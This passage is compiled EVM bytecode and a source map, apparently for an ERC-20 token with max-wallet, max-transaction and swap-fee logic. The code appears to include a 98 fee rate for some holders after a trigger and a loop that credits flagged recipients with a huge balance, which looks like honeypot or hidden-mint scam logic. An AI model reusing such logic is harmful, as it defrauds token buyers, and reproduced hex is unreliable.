ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161143a91906126c1565b60405180910390a3505050565b61144f610ce7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156114d85750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561151057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561156a5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115c45750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561161a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116595750611629610ce7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116bd57600061166983610b58565b9050601354828261167a9190612b19565b11156116bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b290612bbb565b60405180910390fd5b505b6116c5610ce7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117335750611703610ce7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561174557506117448383611bfb565b5b156117905760155481111561178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178690612c27565b60405180910390fd5b5b600c60029054906101000a900460ff1660ff16600c60009054906101000a900460ff1660ff16101580156117d15750601860149054906101000a900460ff16155b801561182b5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118435750601860159054906101000a900460ff165b15611896576000600c60006101000a81548160ff021916908360ff160217905550600061186f30610b58565b90506015548111156118815760155490505b60008111156118945761189381611ca6565b5b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061193d5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119c25760009050600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119bd576001600c60019054906101000a900460ff1660ff1610156119bc576119bb611d1a565b5b5b611a86565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611a2557600e54600d81905550611a85565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a8457600f54600d819055505b5b5b611a9284848484611d52565b50505050565b6000838311158290611ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad791906124cb565b60405180910390fd5b5082840390509392505050565b60008183611afb9190612b19565b905092915050565b60006001600c60019054906101000a900460ff1660ff1610611bda57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bd157600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bc8576062611bcc565b600d545b611bd5565b600d545b611bde565b600d545b9050919050565b60008183611bf39190612c47565b905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c9e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b6001601860146101000a81548160ff021916908315150217905550611cca81611dbc565b6000479050611cfb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611fff565b506000601860146101000a81548160ff02191690831515021790555050565b6001600c60019054906101000a900460ff16611d369190612c7b565b600c60016101000a81548160ff021916908360ff160217905550565b80611d6457611d5f61204a565b611d9d565b600c600081819054906101000a900460ff1680929190611d8390612cb2565b91906101000a81548160ff021916908360ff160217905550505b611da88484846120a6565b80611db657611db561233e565b5b50505050565b6000600267ffffffffffffffff811115611dd957611dd8612cdb565b5b604051908082528060200260200182016040528015611e075781602001602082028036833780820191505090505b5090503081600081518110611e1f57611e1e612d0a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ec6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eea9190612d4e565b81600181518110611efe57611efd612d0a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6530601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b3565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fc9959493929190612e74565b600060405180830381600087803b158015611fe357600080fd5b505af1158015611ff7573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612045573d6000803e3d6000fd5b505050565b6000600d5414801561205e57506000600e54145b801561206c57506000600f54145b6120a457600e54601181905550600f54601281905550600d546010819055506000600e819055506000600f819055506000600d819055505b565b6000806120b38386610f21565b9150915061210983600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aed90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561223d5761223c8461235b565b5b61228f81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aed90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161232f91906126c1565b60405180910390a35050505050565b601054600d81905550601154600e81905550601254600f81905550565b600080601f90506000600a9050600192505b600082111561239757808361238291906129f3565b9250818061238f90612ece565b92505061236d565b6123e983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aed90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561246c578082015181840152602081019050612451565b8381111561247b576000848401525b50505050565b6000601f19601f8301169050919050565b600061249d82612432565b6124a7818561243d565b93506124b781856020860161244e565b6124c081612481565b840191505092915050565b600060208201905081810360008301526124e58184612492565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061251d826124f2565b9050919050565b61252d81612512565b811461253857600080fd5b50565b60008135905061254a81612524565b92915050565b6000819050919050565b61256381612550565b811461256e57600080fd5b50565b6000813590506125808161255a565b92915050565b6000806040838503121561259d5761259c6124ed565b5b60006125ab8582860161253b565b92505060206125bc85828601612571565b9150509250929050565b60008115159050919050565b6125db816125c6565b82525050565b60006020820190506125f660008301846125d2565b92915050565b6000612607826124f2565b9050919050565b612617816125fc565b82525050565b6000602082019050612632600083018461260e565b92915050565b6000819050919050565b600061265d612658612653846124f2565b612638565b6124f2565b9050919050565b600061266f82612642565b9050919050565b600061268182612664565b9050919050565b61269181612676565b82525050565b60006020820190506126ac6000830184612688565b92915050565b6126bb81612550565b82525050565b60006020820190506126d660008301846126b2565b92915050565b6000602082840312156126f2576126f16124ed565b5b60006127008482850161253b565b91505092915050565b600080600060608486031215612722576127216124ed565b5b60006127308682870161253b565b93505060206127418682870161253b565b925050604061275286828701612571565b9150509250925092565b600060ff82169050919050565b6127728161275c565b82525050565b600060208201905061278d6000830184612769565b92915050565b61279c81612512565b82525050565b60006020820190506127b76000830184612793565b92915050565b600080604083850312156127d4576127d36124ed565b5b60006127e285828601612571565b92505060206127f38582860161253b565b9150509250929050565b600060408201905061281260008301856126b2565b61281f60208301846126b2565b9392505050565b6000806040838503121561283d5761283c6124ed565b5b600061284b8582860161253b565b925050602061285c8582860161253b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806128ad57607f821691505b6020821081036128c0576128bf612866565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128fc60208361243d565b9150612907826128c6565b602082019050919050565b6000602082019050818103600083015261292b816128ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061298e60268361243d565b915061299982612932565b604082019050919050565b600060208201905081810360008301526129bd81612981565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129fe82612550565b9150612a0983612550565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612a4257612a416129c4565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a8782612550565b9150612a9283612550565b925082612aa257612aa1612a4d565b5b828204905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612ae360118361243d565b9150612aee82612aad565b602082019050919050565b60006020820190508181036000830152612b1281612ad6565b9050919050565b6000612b2482612550565b9150612b2f83612550565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b6457612b636129c4565b5b828201905092915050565b7f4d61782057616c6c657421000000000000000000000000000000000000000000600082015250565b6000612ba5600b8361243d565b9150612bb082612b6f565b602082019050919050565b60006020820190508181036000830152612bd481612b98565b9050919050565b7f4d61782054782100000000000000000000000000000000000000000000000000600082015250565b6000612c1160078361243d565b9150612c1c82612bdb565b602082019050919050565b60006020820190508181036000830152612c4081612c04565b9050919050565b6000612c5282612550565b9150612c5d83612550565b925082821015612c7057612c6f6129c4565b5b828203905092915050565b6000612c868261275c565b9150612c918361275c565b92508260ff03821115612ca757612ca66129c4565b5b828201905092915050565b6000612cbd8261275c565b915060ff8203612cd057612ccf6129c4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612d4881612524565b92915050565b600060208284031215612d6457612d636124ed565b5b6000612d7284828501612d39565b91505092915050565b6000819050919050565b6000612da0612d9b612d9684612d7b565b612638565b612550565b9050919050565b612db081612d85565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612deb81612512565b82525050565b6000612dfd8383612de2565b60208301905092915050565b6000602082019050919050565b6000612e2182612db6565b612e2b8185612dc1565b9350612e3683612dd2565b8060005b83811015612e67578151612e4e8882612df1565b9750612e5983612e09565b925050600181019050612e3a565b5085935050505092915050565b600060a082019050612e8960008301886126b2565b612e966020830187612da7565b8181036040830152612ea88186612e16565b9050612eb76060830185612793565b612ec460808301846126b2565b9695505050505050565b6000612ed982612550565b915060008203612eec57612eeb6129c4565b5b60018203905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122040947e4beb9634338c0bacd9926b71428132769bbac1d36d5a3054cf7d2298ec64736f6c634300080d0033
Deployed Bytecode Sourcemap
15659:9400:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18161:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18993:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16159:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20024:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17044:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18438:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15955:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17127:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19162:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18347:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19483:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16008:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16565:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17092:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17162:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16598:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18541:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7442:148;;;;;;;;;;;;;:::i;:::-;;16790:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16921:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7219:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18252;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19709:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18667:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16365:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16292:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24768:288;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;16256:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18842:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16062:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7598:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15905:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18161:83;18198:13;18231:5;18224:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18161:83;:::o;18993:161::-;19068:4;19085:39;19094:12;:10;:12::i;:::-;19108:7;19117:6;19085:8;:39::i;:::-;19142:4;19135:11;;18993:161;;;;:::o;16159:87::-;;;;;;;;;;;;;:::o;20024:35::-;;;;;;;;;;;;;:::o;17044:41::-;;;;;;;;;;;;;:::o;18438:95::-;18491:7;18518;;18511:14;;18438:95;:::o;15955:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;17127:28::-;;;;;;;;;;;;;:::o;19162:313::-;19260:4;19277:36;19287:6;19295:9;19306:6;19277:9;:36::i;:::-;19324:121;19333:6;19341:12;:10;:12::i;:::-;19355:89;19393:6;19355:89;;;;;;;;;;;;;;;;;:11;:19;19367:6;19355:19;;;;;;;;;;;;;;;:33;19375:12;:10;:12::i;:::-;19355:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;19324:8;:121::i;:::-;19463:4;19456:11;;19162:313;;;;;:::o;18347:83::-;18388:5;18413:9;;;;;;;;;;;18406:16;;18347:83;:::o;19483:218::-;19571:4;19588:83;19597:12;:10;:12::i;:::-;19611:7;19620:50;19659:10;19620:11;:25;19632:12;:10;:12::i;:::-;19620:25;;;;;;;;;;;;;;;:34;19646:7;19620:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;19588:8;:83::i;:::-;19689:4;19682:11;;19483:218;;;;:::o;16008:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;16565:26::-;;;;:::o;17092:28::-;;;;;;;;;;;;;:::o;17162:40::-;;;;;;;;;;;;;:::o;16598:27::-;;;;:::o;18541:118::-;18607:7;18634:8;:17;18643:7;18634:17;;;;;;;;;;;;;;;;18627:24;;18541:118;;;:::o;7442:148::-;7365:12;:10;:12::i;:::-;7354:23;;:7;:5;:7::i;:::-;:23;;;7346:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7549:1:::1;7512:40;;7533:6;::::0;::::1;;;;;;;;7512:40;;;;;;;;;;;;7580:1;7563:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;7442:148::o:0;16790:58::-;;;;:::o;16921:55::-;;;;:::o;7219:87::-;7265:7;7292:6;;;;;;;;;;;7285:13;;7219:87;:::o;18252:::-;18291:13;18324:7;18317:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18252:87;:::o;19709:269::-;19802:4;19819:129;19828:12;:10;:12::i;:::-;19842:7;19851:96;19890:15;19851:96;;;;;;;;;;;;;;;;;:11;:25;19863:12;:10;:12::i;:::-;19851:25;;;;;;;;;;;;;;;:34;19877:7;19851:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;19819:8;:129::i;:::-;19966:4;19959:11;;19709:269;;;;:::o;18667:167::-;18745:4;18762:42;18772:12;:10;:12::i;:::-;18786:9;18797:6;18762:9;:42::i;:::-;18822:4;18815:11;;18667:167;;;;:::o;16365:49::-;;;;:::o;16292:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;24768:288::-;24845:7;24854;24874:20;24897:42;24935:3;24897:33;24909:20;24922:6;24909:12;:20::i;:::-;24897:7;:11;;:33;;;;:::i;:::-;:37;;:42;;;;:::i;:::-;24874:65;;24950:22;24975:25;24987:12;24975:7;:11;;:25;;;;:::i;:::-;24950:50;;25019:14;25035:12;25011:37;;;;;;24768:288;;;;;:::o;16256:29::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;18842:143::-;18923:7;18950:11;:18;18962:5;18950:18;;;;;;;;;;;;;;;:27;18969:7;18950:27;;;;;;;;;;;;;;;;18943:34;;18842:143;;;;:::o;16062:90::-;;;;;;;;;;;;;:::o;7598:244::-;7365:12;:10;:12::i;:::-;7354:23;;:7;:5;:7::i;:::-;:23;;;7346:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7707:1:::1;7687:22;;:8;:22;;::::0;7679:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;7797:8;7768:38;;7789:6;::::0;::::1;;;;;;;;7768:38;;;;;;;;;;;;7826:8;7817:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;7598:244:::0;:::o;15905:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;2683:98::-;2741:7;2772:1;2768;:5;;;;:::i;:::-;2761:12;;2683:98;;;;:::o;2793:::-;2851:7;2882:1;2878;:5;;;;:::i;:::-;2871:12;;2793:98;;;;:::o;3368:::-;3421:7;3448:10;3441:17;;3368:98;:::o;20626:262::-;20736:1;20719:19;;:5;:19;;;;:44;;;;;20761:1;20742:21;;:7;:21;;;;20719:44;20711:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;20826:6;20796:11;:18;20808:5;20796:18;;;;;;;;;;;;;;;:27;20815:7;20796:27;;;;;;;;;;;;;;;:36;;;;20864:7;20848:32;;20857:5;20848:32;;;20873:6;20848:32;;;;;;:::i;:::-;;;;;;;;20626:262;;;:::o;20896:1413::-;21030:7;:5;:7::i;:::-;21024:13;;:2;:13;;;;:36;;;;;21047:13;;;;;;;;;;;21041:19;;:2;:19;;;;21024:36;:59;;;;;21078:4;21064:19;;:2;:19;;;;21024:59;:82;;;;;21093:13;;;;;;;;;;;21087:19;;:2;:19;;;;21024:82;:102;;;;;21116:10;;;;;;;;;;;21110:16;;:2;:16;;;;21024:102;:123;;;;;21131:12;:16;21144:2;21131:16;;;;;;;;;;;;;;;;;;;;;;;;;21130:17;21024:123;:142;;;;;21159:7;:5;:7::i;:::-;21151:15;;:4;:15;;;;21024:142;21020:299;;;21182:24;21209:13;21219:2;21209:9;:13::i;:::-;21182:40;;21276:15;;21265:6;21246:16;:25;;;;:::i;:::-;21245:46;;21237:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;21167:152;21020:299;21351:7;:5;:7::i;:::-;21343:15;;:4;:15;;;;:32;;;;;21368:7;:5;:7::i;:::-;21362:13;;:2;:13;;;;21343:32;:58;;;;;21379:22;21392:4;21398:2;21379:12;:22::i;:::-;21343:58;21339:132;;;21435:12;;21425:6;:22;;21417:42;;;;;;;;;;;;:::i;:::-;;;;;;;;;21339:132;21509:11;;;;;;;;;;;21498:22;;:7;;;;;;;;;;;:22;;;;:43;;;;;21525:16;;;;;;;;;;;21524:17;21498:43;:68;;;;;21553:13;;;;;;;;;;;21545:21;;:4;:21;;;;21498:68;:93;;;;;21570:21;;;;;;;;;;;21498:93;21495:405;;;21620:1;21610:7;;:11;;;;;;;;;;;;;;;;;;21636:28;21667:24;21685:4;21667:9;:24::i;:::-;21636:55;;21732:12;;21709:20;:35;21706:78;;;21770:12;;21747:35;;21706:78;21824:1;21801:20;:24;21798:91;;;21841:36;21856:20;21841:14;:36::i;:::-;21798:91;21593:307;21495:405;21920:17;21940:4;21920:24;;21969:13;:19;21983:4;21969:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;21992:13;:17;22006:2;21992:17;;;;;;;;;;;;;;;;;;;;;;;;;21969:40;21966:271;;;22040:5;22025:20;;22063:12;:16;22076:2;22063:16;;;;;;;;;;;;;;;;;;;;;;;;;22060:57;;;22095:1;22084:8;;;;;;;;;;;:12;;;22081:35;;;22099:14;:12;:14::i;:::-;22081:35;22060:57;21966:271;;;22146:13;;;;;;;;;;;22138:21;;:4;:21;;;22134:103;;22174:7;;22161:10;:20;;;;22134:103;;;22199:13;;;;;;;;;;;22193:19;;:2;:19;;;22189:48;;22227:8;;22214:10;:21;;;;22189:48;22134:103;21966:271;22257:44;22273:4;22278:2;22281:6;22288:12;22257:15;:44::i;:::-;20999:1310;20896:1413;;;:::o;2899:206::-;2985:7;3043:1;3038;:6;;3046:12;3030:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3085:1;3081;:5;3074:12;;2899:206;;;;;:::o;2471:98::-;2529:7;2560:1;2556;:5;;;;:::i;:::-;2549:12;;2471:98;;;;:::o;22947:204::-;23004:7;23041:1;23030:8;;;;;;;;;;;:12;;;:113;;23058:12;:18;23071:4;23058:18;;;;;;;;;;;;;;;;;;;;;;;;;:85;;23092:10;:16;23103:4;23092:16;;;;;;;;;;;;;;;;;;;;;;;;;:51;;23134:9;23092:51;;;23111:10;;23092:51;23058:85;;;23079:10;;23058:85;23030:113;;;23045:10;;23030:113;23023:120;;22947:204;;;:::o;2577:98::-;2635:7;2666:1;2662;:5;;;;:::i;:::-;2655:12;;2577:98;;;;:::o;22317:156::-;22395:4;22418:12;:20;22431:6;22418:20;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;;22442:12;:23;22455:9;22442:23;;;;;;;;;;;;;;;;;;;;;;;;;22418:47;22411:54;;22317:156;;;;:::o;23161:235::-;17470:4;17451:16;;:23;;;;;;;;;;;;;;;;;;23246:38:::1;23263:20;23246:16;:38::i;:::-;23295:19;23317:21;23295:43;;23349:39;23362:13;;;;;;;;;;;23376:11;23349:12;:39::i;:::-;23235:161;17516:5:::0;17497:16;;:24;;;;;;;;;;;;;;;;;;23161:235;:::o;20375:73::-;20439:1;20428:8;;;;;;;;;;;:12;;;;:::i;:::-;20417:8;;:23;;;;;;;;;;;;;;;;;;20375:73::o;23884:359::-;24004:12;24000:112;;24032:14;:12;:14::i;:::-;24000:112;;;24087:7;;:9;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;24000:112;24126:42;24142:6;24150:9;24161:6;24126:15;:42::i;:::-;24193:12;24189:46;;24220:15;:13;:15::i;:::-;24189:46;23884:359;;;;:::o;23404:472::-;23470:21;23508:1;23494:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23470:40;;23539:4;23521;23526:1;23521:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;23565:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23555:4;23560:1;23555:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;23598:62;23615:4;23630:15;;;;;;;;;;;23648:11;23598:8;:62::i;:::-;23671:15;;;;;;;;;;;:66;;;23752:11;23778:1;23795:4;23822;23842:15;23671:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23459:417;23404:472;:::o;22481:120::-;22566:6;:15;;:23;22582:6;22566:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22481:120;;:::o;20068:299::-;20128:1;20114:10;;:15;:31;;;;;20144:1;20133:7;;:12;20114:31;:48;;;;;20161:1;20149:8;;:13;20114:48;20164:7;20111:60;20199:7;;20181:15;:25;;;;20237:8;;20218:16;:27;;;;20277:10;;20257:17;:30;;;;20308:1;20298:7;:11;;;;20331:1;20320:8;:12;;;;20356:1;20343:10;:14;;;;20068:299;:::o;24253:507::-;24350:22;24374:20;24398:27;24409:7;24418:6;24398:10;:27::i;:::-;24349:76;;;;24455:29;24476:7;24455:8;:16;24464:6;24455:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;24436:8;:16;24445:6;24436:16;;;;;;;;;;;;;;;:48;;;;24517:39;24541:14;24517:8;:19;24526:9;24517:19;;;;;;;;;;;;;;;;:23;;:39;;;;:::i;:::-;24495:8;:19;24504:9;24495:19;;;;;;;;;;;;;;;:61;;;;24570:12;:23;24583:9;24570:23;;;;;;;;;;;;;;;;;;;;;;;;;24567:49;;;24595:19;24604:9;24595:8;:19::i;:::-;24567:49;24652:41;24680:12;24652:8;:23;24669:4;24652:23;;;;;;;;;;;;;;;;:27;;:41;;;;:::i;:::-;24626:8;:23;24643:4;24626:23;;;;;;;;;;;;;;;:67;;;;24726:9;24709:43;;24718:6;24709:43;;;24737:14;24709:43;;;;;;:::i;:::-;;;;;;;;24338:422;;24253:507;;;:::o;20460:158::-;20517:17;;20504:10;:30;;;;20555:15;;20545:7;:25;;;;20593:16;;20582:8;:27;;;;20460:158::o;22613:326::-;22663:20;22697:18;22718:2;22697:23;;22729:19;22751:2;22729:24;;22781:1;22768:14;;22764:107;22797:1;22785:10;22784:14;22764:107;;;22844:11;22830:25;;;;;:::i;:::-;;;22801:12;;;;;:::i;:::-;;;22800:14;22764:107;;;22899:32;22918:12;22899:8;:14;22908:4;22899:14;;;;;;;;;;;;;;;;:18;;:32;;;;:::i;:::-;22882:8